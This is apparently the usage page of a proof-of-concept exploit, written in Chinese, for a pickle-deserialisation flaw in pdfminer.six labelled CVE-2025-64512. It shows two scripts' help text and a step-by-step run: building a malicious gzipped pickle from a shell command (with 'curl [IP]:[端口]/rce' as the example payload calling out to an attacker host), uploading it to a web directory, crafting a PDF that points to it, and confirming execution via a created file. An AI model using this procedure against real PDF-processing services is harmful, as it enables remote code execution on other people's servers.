CVE-2025-64512 在 pdfminer.six 中通过精心构造的 PDF 输入执行任意代码的 PoC
% python3 mkpickle.py 用法:mkpickle.py <命令> [输出文件] 例如:mkpickle.py 'curl [IP]:[端口]/rce' evil.pickle.gz
% python3 mkpdf.py -h 用法:mkpdf.py [-h] [-o 输出] [-p 路径] [-f] [pickle_name]
创建触发 pdfminer.six pickle 反序列化的 PDF (CVE-2025-64512)
位置参数: pickle_name Pickle 文件名(不含 .pickle.gz,默认:evil)
选项: -h, --help 显示此帮助信息并退出 -o, --output 输出 输出 PDF 文件名 (默认:exploit.pdf) -p, --路径 路径 pickle 的自定义绝对路径 (不含 .pickle.gz) -f, --fuzz 为所有常见绝对路径生成 PDF
python3 mkpickle.py 'touch /tmp/a' evil.pickle.gz [+] evil.pickle.gz (78 bytes) cmd: touch /tmp/a
(将 evil.pickle.gz 上传到 /var/www/html/files/evil.pickle.gz)
python3 mkpdf.py -o ex-poc.pdf -p '/var/www/html/files' evil [+] ex-poc.pdf -> /var/www/html/files/evil.pickle.gz
(上传 ex-poc.pdf 并触发/等待 PDF 处理)
ls -l /tmp/a -rw-r--r-- 1 ... ... 0 Jul 19 12:39 a